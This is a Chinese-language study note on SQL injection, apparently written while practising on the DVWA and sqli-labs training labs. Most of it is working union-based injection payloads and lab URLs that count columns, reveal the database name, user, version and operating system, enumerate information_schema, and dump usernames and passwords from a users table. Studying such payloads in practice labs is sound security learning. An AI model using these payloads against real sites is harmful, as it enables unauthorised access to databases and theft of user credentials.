sql注入知识
dvwa
1' order by 1#
1' order by 2#
1' order by 3# 排序
1' union select 111,222,333 ---可以查看前端与数据库之间的联系,即数据库在前端显示的出口!
1' union select database(),user()# 联合查询
database() 查询数据库名字
user() 返回当前查询的用户名
1' union select version(),@@version_compile_os#
version() 返回网站使用数据库的版本
@@version_compile_os 获取当前操作系统
1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa' #
information_schema 是 mysql 自带的一张表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
1' union select user, password from users#
返回users表中的user 和 password数据
sqli-labs
在MySQL5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,其中具有表schemata(数据库名),tables(表名),columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
group_concat()函数可以将查询到的一列结果存放在一起。
http://sqli/less-1/?id=333' union select 111,222,database() -- -
爆当前使用的数据库
http://sqli/Less-1/?id=333' union select 111,222,group_concat(schema_name) from information_schema.schemata -- -
爆数据库名
http://sqli/less-1/?id=333' union select 111,222,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
爆数据库的表名
http://sqli/less-1/?id=333' union select 111,222,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
爆users表中的字段信息
http://sqli/less-1/?id=333' union select 111,group_concat(username),group_concat(password) from security.users -- -
爆users表中的信息